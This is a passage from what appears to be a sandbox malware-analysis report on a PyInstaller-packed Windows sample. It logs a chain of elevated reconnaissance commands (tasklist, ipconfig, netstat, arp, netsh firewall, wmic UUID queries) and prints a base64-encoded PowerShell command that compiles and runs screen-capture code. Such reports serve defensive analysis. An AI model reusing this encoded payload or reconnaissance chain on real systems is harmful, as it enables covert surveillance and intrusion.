Commandline:	tasklist /svc
Imagebase:	0x7ff786440000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	57
Start time:	20:53:10
Start date:	31/12/2024
Path:	C:\Windows\System32\ipconfig.exe
Wow64 process (32bit):	false
Commandline:	ipconfig /all
Imagebase:	0x7ff670f20000
File size:	35'840 bytes
MD5 hash:	62F170FB07FDBB79CEB7147101406EB8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	58
Start time:	20:53:10
Start date:	31/12/2024
Path:	C:\Windows\System32\ROUTE.EXE
Wow64 process (32bit):	false
Commandline:	route print
Imagebase:	0x7ff691b20000
File size:	24'576 bytes
MD5 hash:	3C97E63423E527BA8381E81CBA00B8CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	59
Start time:	20:53:10
Start date:	31/12/2024
Path:	C:\Windows\System32\ARP.EXE
Wow64 process (32bit):	false
Commandline:	arp -a
Imagebase:	0x7ff6619b0000
File size:	26'624 bytes
MD5 hash:	2AF1B2C042B83437A4BE82B19749FA98
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	60
Start time:	20:53:10
Start date:	31/12/2024
Path:	C:\Windows\System32\NETSTAT.EXE
Wow64 process (32bit):	false
Commandline:	netstat -ano
Imagebase:	0x7ff719ff0000
File size:	39'936 bytes
MD5 hash:	7FDDD6681EA81CE26E64452336F479E6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	61
Start time:	20:53:10
Start date:	31/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc query type= service state= all
Imagebase:	0x7ff77f1a0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	62
Start time:	20:53:10
Start date:	31/12/2024
Path:	C:\Windows\System32\netsh.exe
Wow64 process (32bit):	false
Commandline:	netsh firewall show state
Imagebase:	0x7ff633c30000
File size:	96'768 bytes
MD5 hash:	6F1E6DD688818BC3D1391D0CC7D597EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	63
Start time:	20:53:10
Start date:	31/12/2024
Path:	C:\Windows\System32\netsh.exe
Wow64 process (32bit):	false
Commandline:	netsh firewall show config
Imagebase:	0x7ff633c30000
File size:	96'768 bytes
MD5 hash:	6F1E6DD688818BC3D1391D0CC7D597EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	64
Start time:	20:53:11
Start date:	31/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
Imagebase:	0x7ff6bee00000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 8172, Parent PID: 8164

General

Target ID:	65
Start time:	20:53:11
Start date:	31/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	66
Start time:	20:53:11
Start date:	31/12/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic csproduct get uuid
Imagebase:	0x7ff70bb60000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	67
Start time:	20:53:12
Start date:	31/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
Imagebase:	0x7ff6bee00000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	68
Start time:	20:53:12
Start date:	31/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	69
Start time:	20:53:12
Start date:	31/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	70
Start time:	20:53:13
Start date:	31/12/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\iqddoona\iqddoona.cmdline"
Imagebase:	0x7ff6c61c0000
File size:	2'759'232 bytes
MD5 hash:	F65B029562077B648A6A5F6A1AA76A66
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	71
Start time:	20:53:13
Start date:	31/12/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES71B8.tmp" "c:\Users\user\AppData\Local\Temp\iqddoona\CSCE5D39DCC87804C2589D261464B53262.TMP"
Imagebase:	0x7ff6630c0000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	73
Start time:	20:53:17
Start date:	31/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
Imagebase:	0x7ff6bee00000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 6792, Parent PID: 5576

General

Target ID:	74
Start time:	20:53:17
Start date:	31/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	75
Start time:	20:53:17
Start date:	31/12/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic csproduct get uuid
Imagebase:	0x7ff70bb60000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	10.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	19.6%
Total number of Nodes:	2000
Total number of Limit Nodes:	62

Executed Functions

Function 00007FF6404E1000 Relevance: 40.6, APIs: 5, Strings: 18, Instructions: 338
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Could not side-load PyInstaller's PKG archive from external file (%s), xrefs: 00007FF6404E37EF
WARNING: failed to remove temporary directory: %s, xrefs: 00007FF6404E3A31
Path exceeds PYI_PATH_MAX limit., xrefs: 00007FF6404E36FC
Failed to convert DLL search path!, xrefs: 00007FF6404E38A3
Failed to load Tcl/Tk shared libraries for splash screen!, xrefs: 00007FF6404E391A
MEI, xrefs: 00007FF6404E374E
pyi-runtime-tmpdir, xrefs: 00007FF6404E35D3
ERROR: failed to remove temporary directory: %s, xrefs: 00007FF6404E3A12
Failed to start splash screen!, xrefs: 00007FF6404E3933
Could not load PyInstaller's embedded PKG archive from the executable (%s), xrefs: 00007FF6404E378C
_MEIPASS2, xrefs: 00007FF6404E36A2, 00007FF6404E36AE, 00007FF6404E39AC
Could not create temporary directory!, xrefs: 00007FF6404E3838
Failed to unpack splash screen dependencies from PKG archive!, xrefs: 00007FF6404E3905
pyi-contents-directory, xrefs: 00007FF6404E35F8
Failed to initialize security descriptor for temporary directory!, xrefs: 00007FF6404E3820
pkg, xrefs: 00007FF6404E37CF
pyi-disable-windowed-traceback, xrefs: 00007FF6404E361D
PYINSTALLER_STRICT_UNPACK_MODE, xrefs: 00007FF6404E3653

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: FileModuleName
String ID: Could not create temporary directory!$Could not load PyInstaller's embedded PKG archive from the executable (%s)$Could not side-load PyInstaller's PKG archive from external file (%s)$ERROR: failed to remove temporary directory: %s$Failed to convert DLL search path!$Failed to initialize security descriptor for temporary directory!$Failed to load Tcl/Tk shared libraries for splash screen!$Failed to start splash screen!$Failed to unpack splash screen dependencies from PKG archive!$MEI$PYINSTALLER_STRICT_UNPACK_MODE$Path exceeds PYI_PATH_MAX limit.$WARNING: failed to remove temporary directory: %s$_MEIPASS2$pkg$pyi-contents-directory$pyi-disable-windowed-traceback$pyi-runtime-tmpdir
API String ID: 514040917-585287483
Opcode ID: 24eb870da8ca21e580c9e75daa874e24e3f9aac631933096159888eb5afdb10b
Instruction ID: b41771169caa7e53486d63186ad72cddfcc7f537cb3ea71f10036f4f1d67ffa6
Opcode Fuzzy Hash: 24eb870da8ca21e580c9e75daa874e24e3f9aac631933096159888eb5afdb10b
Instruction Fuzzy Hash: FEF17B61A0C6A2F1FA1AFB21D5582FD62A1EF95784F844032DA5DC37D6EF2CE558C380

Function 00007FF640504F10 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 334
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_get_daylight.LIBCMT ref: 00007FF640504F55

Part of subcall function 00007FF6405048A8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6405048BC

Part of subcall function 00007FF6404F9C58: RtlFreeHeap.NTDLL(?,?,?,00007FF640502032,?,?,?,00007FF64050206F,?,?,00000000,00007FF640502535,?,?,?,00007FF640502467), ref: 00007FF6404F9C6E
Part of subcall function 00007FF6404F9C58: GetLastError.KERNEL32(?,?,?,00007FF640502032,?,?,?,00007FF64050206F,?,?,00000000,00007FF640502535,?,?,?,00007FF640502467), ref: 00007FF6404F9C78

Part of subcall function 00007FF6404F9C10: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FF6404F9BEF,?,?,?,?,?,00007FF6404F9ADA), ref: 00007FF6404F9C19
Part of subcall function 00007FF6404F9C10: GetCurrentProcess.KERNEL32(?,?,?,?,00007FF6404F9BEF,?,?,?,?,?,00007FF6404F9ADA), ref: 00007FF6404F9C3E

_get_daylight.LIBCMT ref: 00007FF640504F44

Part of subcall function 00007FF640504908: _invalid_parameter_noinfo.LIBCMT ref: 00007FF64050491C

_get_daylight.LIBCMT ref: 00007FF6405051BA
_get_daylight.LIBCMT ref: 00007FF6405051CB
_get_daylight.LIBCMT ref: 00007FF6405051DC
GetTimeZoneInformation.KERNELBASE(?,?,?,?,?,?,?,?,?,00000000,?,00007FF64050541C), ref: 00007FF640505203

Strings

Eastern Standard Time, xrefs: 00007FF6405052A9
Eastern Summer Time, xrefs: 00007FF6405052C1

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo$CurrentErrorFeatureFreeHeapInformationLastPresentProcessProcessorTimeZone
String ID: Eastern Standard Time$Eastern Summer Time
API String ID: 4070488512-239921721
Opcode ID: 0d3b627969e88128c8faa99a2c0e5d438b7f33ec3044a67c5b643e0657b8cf50
Instruction ID: 7e4a4c9c830baa433aa96951ff4f0cbac14d7fc1549b2dded7bfed066c782698
Opcode Fuzzy Hash: 0d3b627969e88128c8faa99a2c0e5d438b7f33ec3044a67c5b643e0657b8cf50
Instruction Fuzzy Hash: E3D1C176E1C262A6E728FF21D6502BE6391EF46788F448035EA6D87786DF3CE841C740

Function 00007FF640505C74 Relevance: 13.8, APIs: 9, Instructions: 276
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6405059A8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6405059E9
Part of subcall function 00007FF6405059A8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF640505A67
Part of subcall function 00007FF6405059A8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF640505AB8

CreateFileW.KERNELBASE ref: 00007FF640505D7A
CreateFileW.KERNEL32 ref: 00007FF640505DCA
GetLastError.KERNEL32 ref: 00007FF640505DFA
GetFileType.KERNELBASE ref: 00007FF640505E0F
GetLastError.KERNEL32 ref: 00007FF640505E19
CloseHandle.KERNEL32 ref: 00007FF640505E4C
CloseHandle.KERNEL32 ref: 00007FF640505FAF
CreateFileW.KERNEL32 ref: 00007FF640505FE4
GetLastError.KERNEL32 ref: 00007FF640505FF3

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

